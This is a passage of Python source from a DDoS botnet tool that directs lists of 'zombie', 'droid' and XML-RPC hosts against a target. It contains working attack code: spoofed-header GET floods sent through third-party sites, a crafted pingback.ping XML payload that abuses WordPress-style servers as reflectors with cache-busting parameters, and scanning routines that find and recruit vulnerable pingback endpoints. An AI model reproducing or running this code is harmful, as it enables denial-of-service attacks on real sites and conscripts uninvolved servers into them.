  3360. target = urllib.parse.unquote(target).decode('utf8') # parte urlencoding
  3361. except:
  3362. target = urllib.parse.unquote(target)
  3363. if target.startswith('http://'): # remove http
  3364. target = target.replace('http://', '')
  3365. if target.startswith('https://'):
  3366. target = target.replace('https://', '') # remove https
  3367. options = self.options
  3368. shuffle(droids) # shuffle droids
  3369. if not self.options.disablepurge:
  3370. for droid in droids:
  3371. if not droid.startswith('http'): # discarded inmediately
  3372. self.discard_droids.append(droid)
  3373. self.num_discard_droids = self.num_discard_droids + 1
  3374. droids = self.discarding_droids(droid, droids) # check if droid is failing for autobalance army
  3375. if not self.options.disablepurge:
  3376. if not droids: # return when not any working
  3377. self.options.disabledroids = True
  3378. return
  3379. shuffle(droids) # shuffle droids order, each discarding check :-)
  3380. for droid in droids:
  3381. name_droid = None
  3382. if "$TARGET" in droid: # replace droid/parameter for target
  3383. url = droid.replace("$TARGET", target)
  3384. t = urlparse(url)
  3385. name_droid = t.netloc
  3386. if name_droid == "":
  3387. name_droid = droid
  3388. print("[Info] [Droids] Attacking from: " + name_droid)
  3389. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3390. headers = {'User-Agent' : self.user_agent, 'Content-type' : "application/x-www-form-urlencoded", 'Referer' : self.referer, 'Connection' : 'keep-alive'} # set fake headers
  3391. try:
  3392. if options.proxy: # set proxy
  3393. self.proxy_transport(options.proxy)
  3394. if self.options.timeout: # set timeout
  3395. try:
  3396. droid_timeout = int(self.options.timeout)
  3397. except:
  3398. droid_timeout = 5
  3399. else:
  3400. droid_timeout = 5
  3401. if droid_timeout < 1:
  3402. droid_timeout = 5
  3403. req = urllib.request.Request(url, None, headers)
  3404. rsp = urllib.request.urlopen(req, context=self.ctx, timeout=droid_timeout)
  3405. self.droids_hit = self.droids_hit + 1 # add hit to droids stats
  3406. except Exception:
  3407. print("[Info] [Droids] " + name_droid + " -> FAILED (cannot connect!)")
  3408. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  3409. if not self.options.disablepurge:
  3410. self.discard_droids.append(droid)
  3411. self.num_discard_droids = self.num_discard_droids + 1
  3412. else:
  3413. print("[Info] [Droids] " + str(droid) + " -> FAILED (invalid droid!)")
  3414. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  3415. if not self.options.disablepurge:
  3416. self.discard_droids.append(droid)
  3417. self.num_discard_droids = self.num_discard_droids + 1
  3418. if self.options.verbose:
  3419. if name_droid:
  3420. print("[Info] [AI] [Droids] "+str(name_droid)+" is returning...")
  3421. else:
  3422. print("[Info] [AI] [Droids] "+str(droid)+" is returning...")
  3423. if self.options.disablerpcs and self.options.disableucavs:
  3424. self.extra_zombies_lock = False # [ARMY] have finished
  3425. def extract_droids(self):
  3426. # extract droids from file
  3427. options = self.options
  3428. try:
  3429. f = open(self.droids_file)
  3430. droids = f.readlines()
  3431. droids = [ droid.replace('\n','') for droid in droids ]
  3432. f.close()
  3433. if not droids:
  3434. print("[Info] [AI] [Control] Cannot retrieve [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  3435. self.options.disabledroids = True
  3436. return
  3437. else:
  3438. return droids
  3439. except:
  3440. if os.path.exists(self.droids_file) == True:
  3441. print("[Info] [AI] [Control] Cannot open [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  3442. return #sys.exit(2)
  3443. else:
  3444. print("[Info] [AI] [Control] Cannot found [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  3445. return #sys.exit(2)
  3446. def discarding_rpcs(self, rpc, rpcs):
  3447. if rpc in self.discard_rpcs:
  3448. rpcs.remove(rpc)
  3449. if self.options.verbose:
  3450. print(("[Info] [AI] [Control] [X-RPCs] "+str(rpc)+" is not working! -> [Discarding!]"))
  3451. return rpcs
  3452. def send_rpcs(self, rpcs):
  3453. # extract vulnerable XML-RPC pingback services and perform requests against target
  3454. time.sleep(4) # aiming (multi-threading flow time compensation)
  3455. if not self.options.disablepurge:
  3456. if not rpcs: # return when not any working
  3457. self.options.disablerpcs = True
  3458. return
  3459. target = self.options.target
  3460. options = self.options
  3461. def random_key(length):
  3462. key = ''
  3463. for i in range(length):
  3464. key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
  3465. return key
  3466. shuffle(rpcs) # shuffle rpcs
  3467. if not self.options.disablepurge:
  3468. for rpc in rpcs:
  3469. if not rpc.startswith('http'): # discarded inmediately
  3470. if not self.options.disablepurge:
  3471. self.discard_rpcs.append(rpc)
  3472. self.num_discard_rpcs = self.num_discard_rpcs + 1
  3473. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  3474. rpcs = self.discarding_rpcs(rpc, rpcs) # check if rpc is failing for autobalance army
  3475. if not self.options.disablepurge:
  3476. if not rpcs: # return when not any working
  3477. self.options.disablerpcs = True
  3478. return
  3479. shuffle(rpcs) # shuffle rpcs order, each discarding check :-)
  3480. for rpc in rpcs:
  3481. t = urlparse(rpc)
  3482. name_rpc = t.netloc
  3483. if name_rpc == "":
  3484. name_rpc = rpc
  3485. print("[Info] [X-RPCs] Attacking from: " + name_rpc)
  3486. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3487. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3488. key = random_key(8) # generate random value page to bypass cache
  3489. rpc_page = "?" + str(key)
  3490. key = random_key(6) # re-generate random value id to bypass cache
  3491. rpc_id = "=" + str(key)
  3492. target_place = target + rpc_page + rpc_id # random place to bypass cache (ex: www.target.com?U7OvBdp1=4lMcNj)
  3493. if "/xmlrpc.php" in rpc:
  3494. rpc_place = rpc.replace("xmlrpc.php", "")
  3495. rpc_exploit = "<methodCall><methodName>pingback.ping</methodName><params><param><value><string>"+target_place+"</string></value></param><param><value><string>"+rpc_place+"</string></value></param></params></methodCall>"
  3496. try:
  3497. if options.proxy: # set proxy
  3498. self.proxy_transport(options.proxy)
  3499. if self.options.timeout: # set timeout
  3500. try:
  3501. rpc_timeout = int(self.options.timeout)
  3502. except:
  3503. rpc_timeout = 5
  3504. else:
  3505. rpc_timeout = 5
  3506. if rpc_timeout < 1:
  3507. rpc_timeout = 5
  3508. req = urllib.request.Request(rpc, rpc_exploit.encode('utf-8'), headers)
  3509. urllib.request.urlopen(req, context=self.ctx, timeout=rpc_timeout)
  3510. self.rpcs_hit = self.rpcs_hit + 1 # add rpc hit to stats
  3511. if self.options.verbose:
  3512. print("[Info] [X-RPCs] Reply:", target_reply)
  3513. except:
  3514. print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (cannot connect!)")
  3515. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  3516. if not self.options.disablepurge:
  3517. self.discard_rpcs.append(rpc)
  3518. self.num_discard_rpcs = self.num_discard_rpcs + 1
  3519. else:
  3520. print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (invalid X-RPC!)")
  3521. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  3522. if not self.options.disablepurge:
  3523. self.discard_rpcs.append(rpc)
  3524. self.num_discard_rpcs = self.num_discard_rpcs + 1
  3525. if self.options.verbose:
  3526. print("[Info] [AI] [X-RPCs] "+str(name_rpc)+" is returning...")
  3527. if self.options.disableucavs:
  3528. self.extra_zombies_lock = False # [ARMY] have finished
  3529. def extract_rpcs(self):
  3530. # extract rpcs from file
  3531. options = self.options
  3532. try:
  3533. f = open(self.rpcs_file)
  3534. rpcs = f.readlines()
  3535. rpcs = [ rpc.replace('\r','') for rpc in rpcs ]
  3536. rpcs = [ rpc.replace('\n','') for rpc in rpcs ]
  3537. f.close()
  3538. if not rpcs:
  3539. print("[Info] [AI] [Control] Cannot retrieve [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
  3540. self.options.disablerpcs = True
  3541. return
  3542. else:
  3543. return rpcs
  3544. except:
  3545. if os.path.exists(self.rpcs_file) == True:
  3546. print("[Info] [AI] [Control] Cannot open [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
  3547. return
  3548. else:
  3549. print("[Info] [AI] [Control] Cannot found [X-RPCs] from: 'botnet/rpcs.txt' [Discarding!]")
  3550. return
  3551. def extract_ntps(self):
  3552. # extract ntps from file
  3553. options = self.options
  3554. try:
  3555. f = open(self.ntps_file)
  3556. ntps = f.readlines()
  3557. ntps = [ ntp.replace('\r','') for ntp in ntps ]
  3558. ntps = [ ntp.replace('\n','') for ntp in ntps ]
  3559. f.close()
  3560. if not ntps:
  3561. print("[Info] [AI] [Control] Cannot retrieve [NTPs] from: 'botnet/ntps.txt' -> [Discarding!]")
  3562. return
  3563. else:
  3564. return ntps
  3565. except:
  3566. if os.path.exists(self.ntps_file) == True:
  3567. print("[Info] [AI] [Control] Cannot open [NTPs] from: 'botnet/ntps.txt' -> [Discarding!]")
  3568. return
  3569. else:
  3570. print("[Info] [AI] [Control] Cannot found [NTPs] from: 'botnet/ntps.txt' [Discarding!]")
  3571. return
  3572. def extract_dnss(self):
  3573. # extract dnss from file
  3574. options = self.options
  3575. try:
  3576. f = open(self.dnss_file)
  3577. dnss = f.readlines()
  3578. dnss = [ dns.replace('\r','') for dns in dnss ]
  3579. dnss = [ dns.replace('\n','') for dns in dnss ]
  3580. f.close()
  3581. if not dnss:
  3582. print("[Info] [AI] [Control] Cannot retrieve [DNSs] from: 'botnet/dnss.txt' -> [Discarding!]")
  3583. return
  3584. else:
  3585. return dnss
  3586. except:
  3587. if os.path.exists(self.dnss_file) == True:
  3588. print("[Info] [AI] [Control] Cannot open [DNSs] from: 'botnet/dnss.txt' -> [Discarding!]")
  3589. return
  3590. else:
  3591. print("[Info] [AI] [Control] Cannot found [DNSs] from: 'botnet/dnss.txt' [Discarding!]")
  3592. return
  3593. def extract_zombies(self):
  3594. options = self.options
  3595. if self.options.test:
  3596. try:
  3597. f = open(options.test)
  3598. zombies = f.readlines()
  3599. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  3600. f.close()
  3601. if not zombies:
  3602. print("\n[Error] [AI] [Control] Cannot retrieve [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3603. return
  3604. else:
  3605. return zombies
  3606. except:
  3607. if os.path.exists(options.test) == True:
  3608. print("\n[Error [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3609. return #sys.exit(2)
  3610. else:
  3611. print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3612. return #sys.exit(2)
  3613. else:
  3614. try:
  3615. f = open(self.zombies_file)
  3616. zombies = f.readlines()
  3617. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  3618. f.close()
  3619. if not zombies:
  3620. print("\n[Error] [AI] You haven't [Zombies] to be extracted from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3621. return
  3622. else:
  3623. return zombies
  3624. except:
  3625. if os.path.exists(self.zombies_file) == True:
  3626. print("\n[Error] [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3627. return #sys.exit(2)
  3628. else:
  3629. print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3630. return #sys.exit(2)
  3631. def extract_target_list(self):
  3632. options = self.options
  3633. try:
  3634. f = open(options.target_list)
  3635. targets = f.readlines()
  3636. targets = [ target.replace('\n','') for target in targets ]
  3637. f.close()
  3638. if not targets:
  3639. print("\n[Error] [AI] [Control] Cannot retrieve [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  3640. return
  3641. else:
  3642. return targets
  3643. except:
  3644. if os.path.exists(options.target_list) == True:
  3645. print("\n[Error] [AI] [Control] Cannot found [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  3646. return #sys.exit(2)
  3647. else:
  3648. print("\n[Error] [AI] [Control] Cannot open [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  3649. return #sys.exit(2)
  3650. def update_zombies(self, zombies_ready):
  3651. # update zombies on file
  3652. options = self.options
  3653. if options.attackme:
  3654. f = open(self.zombies_file, "w") # re-write list
  3655. for zombie in self.doll.real_zombies: # add only alien verified zombies
  3656. for x in zombie:
  3657. f.write(str(x) + os.linesep)
  3658. f.close()
  3659. if options.test or options.testall:
  3660. if not options.test:
  3661. options.test = self.zombies_file
  3662. f = open(options.test, "w") # re-write list only with zombies ready
  3663. for zombie in zombies_ready:
  3664. f.write(zombie + os.linesep)
  3665. f.close()
  3666. if options.search or options.dorks or options.autosearch or options.download or options.download_github: # append only new zombies to list (dorking supported)
  3667. f = open(self.zombies_file)
  3668. zombies_on_file = f.read().splitlines()
  3669. with open(self.zombies_file, "a") as zombie_list:
  3670. for zombie in zombies_ready:
  3671. if zombie not in zombies_on_file: # parse possible repetitions
  3672. zombie_list.write(zombie + os.linesep)
  3673. if options.download or options.download_github:
  3674. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3675. else:
  3676. self.scanned_zombies = self.scanned_zombies + 1 # update scanner stats only with new zombies (dorking)
  3677. f.close()
  3678. def update_aliens(self, aliens_ready):
  3679. # update aliens on file
  3680. options = self.options
  3681. if options.download or options.download_github: # append only new aliens to list
  3682. f = open(self.aliens_file)
  3683. aliens_on_file = f.read().splitlines()
  3684. with open(self.aliens_file, "a") as alien_list:
  3685. for alien in aliens_ready:
  3686. if alien not in aliens_on_file: # parse possible repetitions
  3687. alien_list.write(alien + os.linesep)
  3688. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3689. f.close()
  3690. def update_droids(self, droids_ready):
  3691. # update droids on file
  3692. options = self.options
  3693. if options.download or options.download_github: # append only new droids to list
  3694. f = open(self.droids_file)
  3695. droids_on_file = f.read().splitlines()
  3696. with open(self.droids_file, "a") as droid_list:
  3697. for droid in droids_ready:
  3698. if droid not in droids_on_file: # parse possible repetitions
  3699. droid_list.write(droid + os.linesep)
  3700. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3701. f.close()
  3702. def update_ucavs(self, ucavs_ready):
  3703. # update ucavs on file
  3704. options = self.options
  3705. if options.download or options.download_github: # append only new ucavs to list
  3706. f = open(self.ucavs_file)
  3707. ucavs_on_file = f.read().splitlines()
  3708. with open(self.ucavs_file, "a") as ucav_list:
  3709. for ucav in ucavs_ready:
  3710. if ucav not in ucavs_on_file: # parse possible repetitions
  3711. ucav_list.write(ucav + os.linesep)
  3712. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3713. f.close()
  3714. def update_rpcs(self, rpcs_ready):
  3715. # update rpcs on file
  3716. options = self.options
  3717. if options.testrpc or options.testall:
  3718. f = open(self.rpcs_file, "w") # re-write list
  3719. for rpc in rpcs_ready: # add only rpc verified zombies
  3720. f.write(rpc + os.linesep)
  3721. f.close()
  3722. if options.download or options.download_github: # append only new rpcs to list
  3723. f = open(self.rpcs_file)
  3724. rpcs_on_file = f.read().splitlines()
  3725. with open(self.rpcs_file, "a") as rpc_list:
  3726. for rpc in rpcs_ready:
  3727. if rpc not in rpcs_on_file: # parse possible repetitions
  3728. rpc_list.write(rpc + os.linesep)
  3729. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3730. f.close()
  3731. def update_dnss(self, dnss_ready):
  3732. # update dns on file
  3733. options = self.options
  3734. if options.download or options.download_github: # append only new dns to list
  3735. f = open(self.dnss_file)
  3736. dnss_on_file = f.read().splitlines()
  3737. with open(self.dnss_file, "a") as dns_list:
  3738. for dns in dnss_ready:
  3739. if dns not in dnss_on_file: # parse possible repetitions
  3740. dns_list.write(dns + os.linesep)
  3741. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3742. f.close()
  3743. def update_ntps(self, ntps_ready):
  3744. # update ntps on file
  3745. options = self.options
  3746. if options.download or options.download_github: # append only new ntps to list
  3747. f = open(self.ntps_file)
  3748. ntps_on_file = f.read().splitlines()
  3749. with open(self.ntps_file, "a") as ntp_list:
  3750. for ntp in ntps_ready:
  3751. if ntp not in ntps_on_file: # parse possible repetitions
  3752. ntp_list.write(ntp + os.linesep)
  3753. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3754. f.close()
  3755. def search_rpc(self, rpc_host):
  3756. options = self.options
  3757. rpc_vulnerable = False
  3758. rpc_pingback_url = False
  3759. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3760. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3761. try:
  3762. if self.options.testall: # testing_all
  3763. if options.proxy: # set proxy
  3764. self.proxy_transport(options.proxy)
  3765. req = urllib.request.Request(rpc_host, None, headers)
  3766. rpc_code = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  3767. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  3768. for link in rpc_links:
  3769. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  3770. rpc_pingback_url = link[0]
  3771. rpc_vulnerable = True
  3772. break # found it!
  3773. else: # not any XML-RPC discovering methods are working
  3774. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  3775. rpc_vulnerable = False
  3776. else:
  3777. if rpc_host.startswith("http://"):
  3778. rpc_host = rpc_host.replace("http://", "")
  3779. if rpc_host.startswith("https://"):
  3780. rpc_host = rpc_host.replace("https://", "")
  3781. rpc_host = urlparse(rpc_host)
  3782. rpc_path = rpc_host.path.replace("\r", "")
  3783. self.head = True # send HTTP HEAD request searching for: X-Pingback
  3784. reply = self.connect_zombie(rpc_path)
  3785. self.head = False
  3786. if "X-Pingback" in reply: # discovering pingback-enabled resources
  3787. m = re.search('X-Pingback: (.+?)\n', reply) # regex magics
  3788. rpc_pingback_url = m.group(1) # extract rpc server url
  3789. rpc_vulnerable = True
  3790. else: # not X-Pingback on HTTP Headers (search for <link rel="pingback"... on HTML/XHTML code)
  3791. if options.proxy: # set proxy
  3792. self.proxy_transport(options.proxy)
  3793. req_rpc = urllib.request.Request(rpc_host, None, headers)
  3794. req_rpc.get_method = lambda : 'GET'
  3795. rpc_code = urllib.request.urlopen(req_rpc, context=self.ctx).read().decode('utf-8')
  3796. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  3797. for link in rpc_links:
  3798. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  3799. rpc_pingback_url = link[0]
  3800. rpc_vulnerable = True
  3801. break # found it!
  3802. else: # not any XML-RPC discovering methods are working
  3803. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  3804. rpc_vulnerable = False
  3805. except: # something wrong discovering XML-RPC Pingback
  3806. pass
  3807. return rpc_vulnerable, rpc_pingback_url
  3808. def testing_offline(self):
  3809. # check for zombies offline
  3810. print ("\n[Info] [AI] Checking (sending HTTP HEAD requests) for [Zombies] offline...\n")
  3811. print('='*35)
  3812. zombies_online = 0
  3813. zombies_offline = 0
  3814. zombies = self.extract_zombies()
  3815. rpcs = self.extract_rpcs()
  3816. aliens = self.extract_aliens()
  3817. droids = self.extract_droids()
  3818. ucavs = self.extract_ucavs()
  3819. try:
  3820. botnet = zombies + rpcs + aliens + droids + ucavs
  3821. except:
  3822. return
  3823. discarded = [] # for discarded zombies
  3824. if not botnet:
  3825. return
  3826. self.head = True
  3827. for zombie in botnet:
  3828. zombie = str(zombie)
  3829. if zombie in zombies: # set zombie type (this way because cannot be same zombie with different type)
  3830. zombie_type = 'Zombie'
  3831. elif zombie in rpcs:
  3832. zombie_type = 'XML-RPC'
  3833. elif zombie in aliens:
  3834. zombie_type = 'Alien'
  3835. elif zombie in droids:
  3836. zombie_type = 'Droid'
  3837. elif zombie in ucavs:
  3838. zombie_type = 'UCAV'
  3839. t = urlparse(zombie)
  3840. name_zombie = t.netloc
  3841. if name_zombie == "":
  3842. name_zombie = zombie
  3843. if zombie_type == 'Alien': # [Aliens] are made with keyword ;$POST;
  3844. sep = ';$POST;'
  3845. zombie = zombie.split(sep, 1)[0]
  3846. try:
  3847. reply = str(self.connect_zombie(zombie))
  3848. except:
  3849. reply = None
  3850. if reply:
  3851. if reply == "200" or reply == "301" or reply == "302":
  3852. status = "ONLINE! -> [OK!]"
  3853. else:
  3854. status = "ONLINE! -> [BUT replying an INVALID HTTP CODE]"
  3855. zombies_online = zombies_online + 1
  3856. else:
  3857. status = "NOT Working!"
  3858. zombies_offline = zombies_offline + 1
  3859. print("\nName:", name_zombie)
  3860. print("Type: [", zombie_type, "]")
  3861. print("Vector:", zombie)
  3862. print("HTTP Code: [", reply, "]")
  3863. print("STATUS:", status)
  3864. print('-'*21)
  3865. if status == "NOT Working!": # add to discarded zombies
  3866. if zombie not in discarded:
  3867. discarded.append(zombie)
  3868. print("\n" + '='*52)
  3869. print("\n+ Total Botnet:", len(botnet))
  3870. print("\n" + '-'*25 + "\n")
  3871. print(" - ONLINE:", zombies_online)
  3872. print(" - OFFLINE:", zombies_offline, "\n")
  3873. print('='*52 + '\n')
  3874. self.head = False
  3875. if zombies_offline > 0:
  3876. if not self.options.forceyes:
  3877. test_reply = input("[AI] Do you want to update your army? (Y/n)\n")
  3878. print('-'*25 + "\n")
  3879. else:
  3880. test_reply = "Y"
  3881. if test_reply == "n" or test_reply == "N":
  3882. print("[AI] "+self.exit_msg+"\n")
  3883. return
  3884. else:
  3885. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  3886. print('='*52)
  3887. print("\n - DISCARDED:", disc_zombies)
  3888. new_botnet = int(len(botnet) - disc_zombies)
  3889. print("\n+ New Total Botnet:", str(new_botnet), "\n")
  3890. print('='*52 + '\n')
  3891. else:
  3892. print("[Info] [AI] [Control] ALL checked [Zombies] are ONLINE! -> [Exiting!]\n")
  3893. def send_extra_zombies(self):
  3894. # check for extra zombies: aliens, droids, rpcs, ucavs... and start attacking with them
  3895. if not self.options.disablealiens and not self.options.attackme: # different layers requests -> pure web abuse
  3896. if self.options.verbose:
  3897. print("[Info] [AI] [Control] Deploying [Aliens] with heavy 'laser-cannon' weapons...")
  3898. aliens = [self.extract_aliens()] # extract aliens from file to a list
  3899. for a in aliens:
  3900. if a is None:
  3901. self.options.disablealiens = True
  3902. self.total_aliens = 0 # not any alien invoked
  3903. else:
  3904. for s in a: # extract number of aliens
  3905. self.total_aliens = self.total_aliens + 1
  3906. al = threading.Thread(target=self.send_aliens, args=(aliens)) # multithreading to send aliens
  3907. al.start()
  3908. else:
  3909. self.options.disablealiens = True
  3910. self.total_aliens = 0 # not any alien invoked
  3911. if not self.options.disabledroids and not self.options.attackme: # GET (with parameter required) requests
  3912. if self.options.verbose:
  3913. print("[Info] [AI] [Control] Deploying [Droids] with light 'laser-cannon' weapons...")
  3914. droids = [self.extract_droids()] # extract droids from file to a list
  3915. for d in droids:
  3916. if d is None:
  3917. self.options.disabledroids = True
  3918. self.total_droids = 0 # not any droid invoked
  3919. else:
  3920. for s in d: # extract number of droids
  3921. self.total_droids = self.total_droids + 1
  3922. dr = threading.Thread(target=self.send_droids, args=(droids)) # multithreading to send droids
  3923. dr.start()
  3924. else:
  3925. self.options.disabledroids = True
  3926. self.total_droids = 0 # not any droid invoked
  3927. if not self.options.disablerpcs and not self.options.attackme: # exploit XML-RPC pingback vulnerability
  3928. if self.options.verbose:
  3929. print("[Info] [AI] [Control] Deploying [X-RPCs] with 'plasma cannon' weapons...")
  3930. rpcs = [self.extract_rpcs()] # extract rpcs from file to a list
  3931. for r in rpcs:
  3932. if r is None:
  3933. self.options.disablerpcs = True
  3934. self.total_rpcs = 0 # not any rpc invoked
  3935. else:
  3936. for s in r: # extract number of rpcs
  3937. self.total_rpcs = self.total_rpcs + 1
  3938. rp = threading.Thread(target=self.send_rpcs, args=(rpcs)) # multithreading to send rpcs
  3939. rp.start()
  3940. else:
  3941. self.options.disablerpcs = True
  3942. self.total_rpcs = 0 # not any rpcs invoked
  3943. if not self.options.disableucavs and not self.options.attackme: # perform an external 'Is target up?' round check
  3944. if self.options.verbose:
  3945. print("[Info] [AI] [Control] Deploying [UCAVs] with 'heat-beam' weapons and 'status check' scanners...")
  3946. ucavs = [self.extract_ucavs()] # extract ucavs from file to a list
  3947. for u in ucavs:
  3948. if u is None:
  3949. self.options.disableucavs = True
  3950. self.total_ucavs = 0 # not any ucav invoked
  3951. else:
  3952. for s in u: # extract number of ucavs
  3953. self.total_ucavs = self.total_ucavs + 1
  3954. uc = threading.Thread(target=self.send_ucavs, args=(ucavs)) # multithreading to send ucavs
  3955. uc.start()
  3956. else:
  3957. self.options.disableucavs = True
  3958. self.total_ucavs = 0 # not any ucavs invoked
  3959. def abandoning_zombies(self):
  3960. if self.options.expire: # set timing for purge
  3961. try:
  3962. timing = int(self.options.expire)
  3963. except:
  3964. timing = self.expire_timing # default timing for purge
  3965. else:
  3966. timing = self.expire_timing # default timing for purge
  3967. if timing < 1:
  3968. timing = self.expire_timing # default timing for purge
  3969. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  3970. zombies_lock = 0
  3971. if self.options.verbose:
  3972. print("[Info] [AI] [Control] Setting ["+str(zombies_arrival_timing)+"] per round for [Zombies] to return...")
  3973. while self.herd.no_more_zombies() == False: # abandoning -controller- zombies
  3974. zombies_lock = zombies_lock + 1
  3975. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  3976. if self.options.verbose:
  3977. print("\n[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
  3978. break
  3979. else:
  3980. time.sleep(1)
  3981. def discard_zombies(self, discarded):
  3982. disc_zombies = 0
  3983. if self.options.testoffline:
  3984. zombies_list = [self.zombies_file, self.aliens_file, self.droids_file, self.ucavs_file, self.rpcs_file]
  3985. else:
  3986. zombies_list = [self.zombies_file]
  3987. if not self.options.disablealiens: # add aliens
  3988. zombies_list.append(self.aliens_file)
  3989. if not self.options.disabledroids: # add droids
  3990. zombies_list.append(self.droids_file)
  3991. if not self.options.disablerpcs: # add rpcs
  3992. zombies_list.append(self.rpcs_file)
  3993. if not self.options.disableucavs: # add ucavs
  3994. zombies_list.append(self.ucavs_file)
  3995. for l in zombies_list:
  3996. f = open(l, "r+")
  3997. d = f.readlines()
  3998. f.close()
  3999. f = open(l, "w")
  4000. disc_zombies = self.remove_discarded_zombies(f, d, discarded, disc_zombies)
  4001. f.close()
  4002. return disc_zombies
  4003. def remove_discarded_zombies(self, f, d, discarded, disc_zombies):
  4004. m = []
  4005. for zombie in d:
  4006. if zombie not in discarded == True:
  4007. m.append(zombie) # save it
  4008. else:
  4009. disc_zombies = disc_zombies + 1
  4010. if not m:
  4011. f.write("")
  4012. else:
  4013. for z in m:
  4014. f.write(z+os.linesep)
  4015. return disc_zombies
  4016. def parse_url_encoding(self, target):
  4017. t = urlparse(target)
  4018. host = urllib.parse.quote(t.netloc.encode('utf-8'))
  4019. path = urllib.parse.quote(t.path.encode('utf-8'))
  4020. query = urllib.parse.quote(t.query.encode('utf-8'))
  4021. if query:
  4022. if path.endswith(""):
  4023. path.replace("", "/")
  4024. query = urllib.parse.quote(t.query.encode('utf-8'))
  4025. target = t.scheme+"://"+host + path + "?" + query
  4026. else:
  4027. target = t.scheme+"://"+host + path
  4028. return target
  4029. def testing_rpcs(self, rpcs):
  4030. # discover/test XML-RPC Pingback vulnerabilities on webapps (Wordpress, Drupal, PostNuke, b2evolution,
  4031. # Xoops, PHPGroupWare, TikiWiki, etc...) and update list
  4032. options = self.options
  4033. if self.options.testall: #testing_all
  4034. print('='*51)
  4035. print ("Are 'plasma' reflectors ready? :-) (XML-RPC 'Pingback' Vulnerability Check):")
  4036. print('='*51)
  4037. num_active_rpcs = 0
  4038. num_failed_rpcs = 0
  4039. rpcs_ready = []
  4040. print("Trying:", len(rpcs))
  4041. print('-'*21)
  4042. for rpc in rpcs:
  4043. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4044. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4045. if rpc.startswith("http://") or rpc.startswith("https://"):
  4046. print("[Info] [X-RPCs] Exploiting 'X-Pingback' at:", rpc)
  4047. rpc_host = rpc.replace("/xmlrpc.php", "")
  4048. rpc_vulnerable, rpc_pingback_url = self.search_rpc(rpc_host)
  4049. if rpc_vulnerable == True: # discover XML-RPC system.listMethods allowed
  4050. rpc_methods = "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"
  4051. try:
  4052. if options.proxy: # set proxy
  4053. self.proxy_transport(options.proxy)
  4054. try:
  4055. req = urllib.request.Request(rpc_pingback_url, rpc_methods.encode('utf-8'), headers)
  4056. target_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  4057. except:
  4058. if DEBUG == True:
  4059. traceback.print_exc()
  4060. if self.options.verbose:
  4061. print("[Info] [X-RPCs] Reply:", target_reply)
  4062. if "pingback.ping" in target_reply: # XML-RPC pingback.ping method is allowed!
  4063. print("[Info] [AI] -> [VULNERABLE!]")
  4064. rpcs_ready.append(rpc_pingback_url) # save XML-RPC path as RPC zombie
  4065. num_active_rpcs = num_active_rpcs + 1 # add fail to rpcs stats
  4066. else:
  4067. print("[Info] [AI] -> [NOT vulnerable...]")
  4068. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  4069. except:
  4070. print("[Info] [AI] -> [NOT vulnerable...]")
  4071. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  4072. else:
  4073. print("[Info] [AI] -> [NOT vulnerable...]")
  4074. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  4075. print('-'*21)
  4076. print('='*18)
